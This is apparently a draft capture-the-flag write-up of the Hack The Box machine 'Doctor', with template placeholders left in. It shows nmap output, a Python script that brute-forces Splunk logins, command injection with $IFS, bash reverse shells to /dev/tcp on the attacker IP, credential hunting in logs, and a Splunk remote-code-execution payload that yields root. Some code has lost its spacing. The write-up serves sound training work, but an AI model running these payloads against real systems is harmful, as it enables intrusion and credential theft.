Short description to include any strange things to be dealt with
TODO: Finish writing and clean up
Useful Skills and Tools
Useful thing 1
description with generic example
Useful thing 2
description with generic example
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.10.209. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oA <name> saves the output with a filename of <name>.
┌──(zweilos㉿kali)-[~/htb/doctor]
└─$ nmap -sCV -n -p- -Pn -v -oA doctor 10.10.10.209 130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-07 17:55 EST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:55
Completed NSE at 17:55, 0.00s elapsed
Initiating NSE at 17:55
Completed NSE at 17:55, 0.00s elapsed
Initiating NSE at 17:55
Completed NSE at 17:55, 0.00s elapsed
Initiating Connect Scan at 17:55
Scanning 10.10.10.209 [65535 ports]
Discovered open port 80/tcp on 10.10.10.209
Discovered open port 22/tcp on 10.10.10.209
Connect Scan Timing: About 18.79% done; ETC: 17:58 (0:02:14 remaining)
Discovered open port 8089/tcp on 10.10.10.209
Connect Scan Timing: About 46.81% done; ETC: 17:57 (0:01:09 remaining)
Completed Connect Scan at 17:57, 106.48s elapsed (65535 total ports)
Initiating Service scan at 17:57
Scanning 3 services on 10.10.10.209
Completed Service scan at 17:57, 31.27s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.209.
Initiating NSE at 17:57
Completed NSE at 17:58, 8.63s elapsed
Initiating NSE at 17:58
Completed NSE at 17:58, 0.57s elapsed
Initiating NSE at 17:58
Completed NSE at 17:58, 0.00s elapsed
Nmap scan report for 10.10.10.209
Host is up (0.063s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after: 2023-09-06T15:57:27
| MD5: db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
|_SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 17:58
Completed NSE at 17:58, 0.00s elapsed
Initiating NSE at 17:58
Completed NSE at 17:58, 0.00s elapsed
Initiating NSE at 17:58
Completed NSE at 17:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.33 seconds
Only three ports open: 22 - SSH, 80 - HTTP, and 8089 - Splunk
Port 80 - HTTP
on port 80 found Health Care website; contact information including domain info@doctors.htb
Further down the page found some potential usernames: Dr. Jade Guzman, Dr. Hannah Ford, Dr. James Wilson
Port 8089 - Splunk
Needed to use https. After accepting the security warnings about the self-signed certificates was led to a Splunk Atom Feed. Says Splunk build: 8.0.5
I tried clicking on the services link, but was prompted to enter credentials
Universal Forwarder is accessible on each host at https://host:8089. Accessing any of the protected API calls, such as /service/ pops up a Basic authentication box. The username is always admin, and the password default used to be changeme until 2016 when Splunk required any new installations to set a password of 8 characters or higher.
import requestsfrom urllib3.exceptions import InsecureRequestWarningheaders ={'Host':'10.10.10.209:8089','User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Connection':'close','Referer':'https://10.10.10.209:8089/','Upgrade-Insecure-Requests':'1','DNT':'1','Sec-GPC':'1'}auth ="Authorization: Basic admin:changeme"# Suppress only the single warning from urllib3 needed.requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)print("Starting password brute force...\n")withopen("/home/zweilos/rockyou_utf8.txt", "r")as rockyou:for password in rockyou: r = requests.get('https://10.10.10.209:8089/services', auth=('admin', password), headers = headers, verify =False)if r.status_code ==200:print(f"The password is: {password}\n")breakelse:continueprint("Thank you for using this service!\n")
Brute force does not seem to get me anywhere
Next I tried navigating to doctors.htb...and got redirected to a login page
Testing for SQLi gives me an error " Nope, no such luck. "
found link to /archive in source code,
this page is blank with no content
Registered for an account
After I created an account, I noticed a banner at the top of the page warning me that I would only have 20 minutes for it to live.
I tried some basic tests for XSS
I could see my post, but no alert after I opened it.
I tried putting a link to my machine in the Content box, but got a message that the link I posted was not valid, but I still got a connection back to my machine
┌──(zweilos㉿kali)-[~/htb/doctor]
└─$ nc -lvnp 8081
listening on [any] 8081 ...
connect to [10.10.15.77] from (UNKNOWN) [10.10.10.209] 39234
GET / HTTP/1.1
Host: 10.10.15.77:8081
User-Agent: curl/7.68.0
Accept: */*
Looks like the service is running curl. If there is no input sanitization I may be able to get code execution here.
┌──(zweilos㉿kali)-[~/htb/doctor]
└─$ nc -lvnp 8081 130 ⨯
listening on [any] 8081 ...
connect to [10.10.15.77] from (UNKNOWN) [10.10.10.209] 39242
GET /uid=1001(web) HTTP/1.1
Host: 10.10.15.77:8081
User-Agent: curl/7.68.0
Accept: */*
Putting in a command at the end of my URL results in a request with the id context information the service is running under as the user web.
I tried to do some of my normal enumeration such as cat /etc/passwd, but it seemed as if I couldn't use any commands with spaces. Any commands I sent with spaces did not connect back to my machine.
After discovering that I could use commands by plugging the space with $IFS, I sent a lot of different commands trying to enumerate the machine. (As you can see below, I only got very limited information back from each attempt.)
I figured out how to enumerate /etc/passwd one line at a time using tail -n;
I hoped that perhaps I could see more of the output in Wireshark, but unfortunately I could not.
I found a username shaun using tail -n2. Next, I tried to see if I could send my SSH key to shaun'sauthorized_keys file but it didn't work. After that I decided to try to get a reverse shell by sending a bash script and then executing it.
#!/bin/bashbash-i>&/dev/tcp/10.10.15.13/80910>&1
my shell script which simply contained a bash reverse shell
I got a connection back from the remote host which downloaded my shell script
Initial Foothold
Road to User
┌──(zweilos㉿kali)-[~/htb/doctor]
└─$ nc -lvnp 8091 1 ⨯
listening on [any] 8091 ...
connect to [10.10.15.13] from (UNKNOWN) [10.10.10.209] 51260
bash: cannot set terminal process group (867): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$ which python
which python
web@doctor:~$ which python3
which python3
/usr/bin/python3
web@doctor:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
web@doctor:~$ export TERM=xterm-256color
export TERM=xterm-256color
web@doctor:~$
After the shell script ran I receieved a connection from the reverse shell to my waiting netcat listener. Python2 wasn't installed, but python3 was.+-
Further enumeration
web@doctor:~$ id && hostname
id && hostname
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
doctor
I was running as the user web which I immediately noticed was a member of the adm group.
adm group can access process files and logs in /var/log
web@doctor:/var/log$ grep password * 2>/dev/null
grep password * 2>/dev/null
auth.log:Feb 12 07:04:10 doctor VGAuth[664]: vmtoolsd: Username and password successfully validated for 'root'.
auth.log:Feb 12 07:04:18 doctor VGAuth[664]: message repeated 14 times: [ vmtoolsd: Username and password successfully validated for 'root'.]
auth.log:Feb 12 07:04:23 doctor VGAuth[664]: vmtoolsd: Username and password successfully validated for 'root'.
auth.log:Feb 12 07:04:24 doctor VGAuth[664]: message repeated 8 times: [ vmtoolsd: Username and password successfully validated for 'root'.]
auth.log:Feb 12 11:11:49 doctor sshd[2744]: Invalid user password from 10.10.14.70 port 39591
auth.log:Feb 12 11:11:49 doctor sshd[2744]: Failed none for invalid user password from 10.10.14.70 port 39591 ssh2
auth.log:Feb 12 11:11:49 doctor sshd[2744]: Postponed keyboard-interactive for invalid user password from 10.10.14.70 port 39591 ssh2 [preauth]
auth.log:Feb 12 11:11:52 doctor sshd[2744]: error: PAM: Authentication failure for illegal user password from 10.10.14.70
auth.log:Feb 12 11:11:52 doctor sshd[2744]: Failed keyboard-interactive/pam for invalid user password from 10.10.14.70 port 39591 ssh2
auth.log:Feb 12 11:11:52 doctor sshd[2744]: Connection closed by invalid user password 10.10.14.70 port 39591 [preauth]
auth.log:Feb 12 11:14:23 doctor sshd[2821]: Invalid user password1 from 10.10.14.70 port 33589
auth.log:Feb 12 11:14:23 doctor sshd[2821]: Failed none for invalid user password1 from 10.10.14.70 port 33589 ssh2
auth.log:Feb 12 11:14:24 doctor sshd[2821]: Postponed keyboard-interactive for invalid user password1 from 10.10.14.70 port 33589 ssh2 [preauth]
auth.log:Feb 12 11:14:26 doctor sshd[2821]: error: PAM: Authentication failure for illegal user password1 from 10.10.14.70
auth.log:Feb 12 11:14:26 doctor sshd[2821]: Failed keyboard-interactive/pam for invalid user password1 from 10.10.14.70 port 33589 ssh2
auth.log:Feb 12 11:14:26 doctor sshd[2821]: Connection closed by invalid user password1 10.10.14.70 port 33589 [preauth]
auth.log.1:Sep 22 13:01:23 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2
auth.log.1:Sep 22 13:01:28 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2
There were no useful hits for the word 'password' in these log files.
however in the apache2 folder there was a file named access.log.1 that contained even more log information, including a history of web searches for how to crack passwords and creating strong passwords. Then, in the file backup I found a attempt by the user to change thier password. It seems like the user got scared and decided to change his web password. I decided to check if this password would work for the other user on the machine (shaun).
shaun@doctor:~$ sudo -l
sudo -l
[sudo] password for shaun: Guitar123
Sorry, user shaun may not run sudo on doctor.
Could not use sudo as this user. However, now that I had credentials, I could potentially use the exploit for splunkd that I had found earlier...
┌──(zweilos㉿kali)-[~/htb/doctor]└─$ sqlite3 site.db .dump1 ⨯PRAGMA foreign_keys=OFF;BEGINTRANSACTION;CREATETABLEuser ( id INTEGERNOT NULL, username VARCHAR(20) NOT NULL, email VARCHAR(120) NOT NULL, image_file VARCHAR(20) NOT NULL, passwordVARCHAR(60) NOT NULL, PRIMARY KEY (id), UNIQUE (username), UNIQUE (email));INSERT INTO user VALUES(1,'admin','admin@doctor.htb','default.gif','$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S');CREATETABLEpost ( id INTEGERNOT NULL, title VARCHAR(100) NOT NULL, date_posted DATETIMENOT NULL, content TEXTNOT NULL, user_id INTEGERNOT NULL, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id));INSERT INTO post VALUES(1,'Doctor blog','2020-09-18 20:48:37.55555','A free blog to share medical knowledge. Be kind!',1);COMMIT;
Found a password hash in the file site.db. I was unable to crack it with hashcat, however.
┌──(zweilos㉿kali)-[~/htb/doctor]
└─$ python3 PySplunkWhisperer2_remote.py.1 --host doctors.htb --lhost 10.10.15.13 --lport 9001 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.15.13/8092 0>&1'"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmp8o0jrwfy.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.15.13:9001/
10.10.10.209 - - [12/Feb/2021 21:34:40] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
Root.txt
┌──(zweilos㉿kali)-[~/htb/doctor]
└─$ nc -lvnp 8092 1 ⨯
listening on [any] 8092 ...
connect to [10.10.15.13] from (UNKNOWN) [10.10.10.209] 42328
bash: cannot set terminal process group (1134): Inappropriate ioctl for device
bash: no job control in this shell
root@doctor:/# id && hostname
id && hostname
uid=0(root) gid=0(root) groups=0(root)
doctor
root@doctor:/# cd /root
cd /root
root@doctor:/root# cat root.txt
cat root.txt
3ce7f10b033ef2cdcfdd22eb598e649f
Got a root shell back, and collected my proof
Note: After finding the username of shaun, my password brute force method would have actually proved useful had I been a patient attacker. The vulnerable version of splunkd used here does not lock out accounts, so brute force is entirely feasible. The only problem is shown below.
Using my python brute force script it took roughly a quarter of a second per try.
This would have taken over 154 hours to guess the correct password (this is assuming single threaded attempts). So, if the attacker had not been able to get a shell on the box as the web user and used the privilege escalation route, simply getting the username from /etc/passwd would have eventually provided access to a determined attacker!
Thanks to <box_creator> for... [something interesting or useful about this machine.]
If you like this content and would like to see more, please consider buying me a coffee!